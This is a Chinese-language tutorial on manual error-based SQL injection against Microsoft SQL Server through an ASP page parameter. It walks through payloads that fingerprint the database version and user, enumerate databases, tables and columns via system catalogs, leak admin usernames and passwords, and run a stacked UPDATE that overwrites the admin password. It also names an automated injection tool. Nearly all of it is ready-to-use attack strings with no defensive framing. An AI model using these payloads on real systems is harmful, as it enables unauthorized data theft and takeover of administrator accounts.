手工注入MSSQL
越高级的数据库越比较好注入,因为支持的函数多,字典表里面也能读到库名,不论你起多么不常见的库名,都能正常读到
注入步骤
1.判断数据库类型
http://192.168.2.8/list.asp?id=1
后面加'构造报错,看返回的信息,从而判断数据库名,数据库表名、数据库用户等
http://192.168.2.8/list.asp?id=1 and user>0
and user>0 #用户名是字符类型,但是和int类型0是不能直接做比较的,因此需要进行转换,但是在转换过程中发生了错误,因此就会报错
2.判断注入点:and 1=1;and 1=2
3.判断数据库的版本号
and @@version>0 #有时候也会报操作系统版本
nt5.0:win2000server
nt5.2:win2003server
4.查看当前连接数据库的用户名
http://192.168.2.8/list.asp?id=1 and user>0
and user>0 dbo=sa dbo就是mssql管理员
5.查看当前连接的数据库
http://192.168.2.8/list.asp?id=1 and db_name()>0
and db_name()>0 #可以获得当前连接数据库的名字
6.查看其他数据库
库名.所有者.表名
and (select name from master.dbo.sysdatabases where dbid=6) > 1,dbid=6 一直取6,7,8,9,...直到没有返回时,说明没有库了,dbid为1,2,3,4,5是系统自带的,后面的取值才是用户自己取的(还是利用数据库名字和整数做比较导致报错,直接爆出数据库名)
7.判断表名:
and (select top 1 name from sysobjects where xtype='u' and status>0 )>0
表示猜用户建立的表,xtype='u'表示用户建立的表
8.判断其它表:
and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in ('xxx','xx'))>0
'xxx'表示在第七步猜出的表名,猜一个就在里面写一个
and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in ('Aclass','admin'))>0
9.判断列:admin(username,password)
and (Select Top 1 col_name(object_id('admin'),1) from sysobjects)>0
猜第二列就是obiect_id('admin'),2
猜第三列就是obiect_id('admin'),3
依次类推
10.and (select username from admin)>0,可以直接爆出用户名和密码
and (select password from admin)>0
11.可以更改用户名密码和口令,建议将密码的首字母改成英文的
;update article.dbo.admin set password='zllobe' where username ='admin';--
注意首先找到存储用户名密码的库名和表名,如上面的书写格式就是article库dbo用户admin表
--:两个短杠是注释符
php中的注释符是:#
oracle中的注释符是:/**/
12.自动化工具 pangolin穿山甲,首先需要找到注入点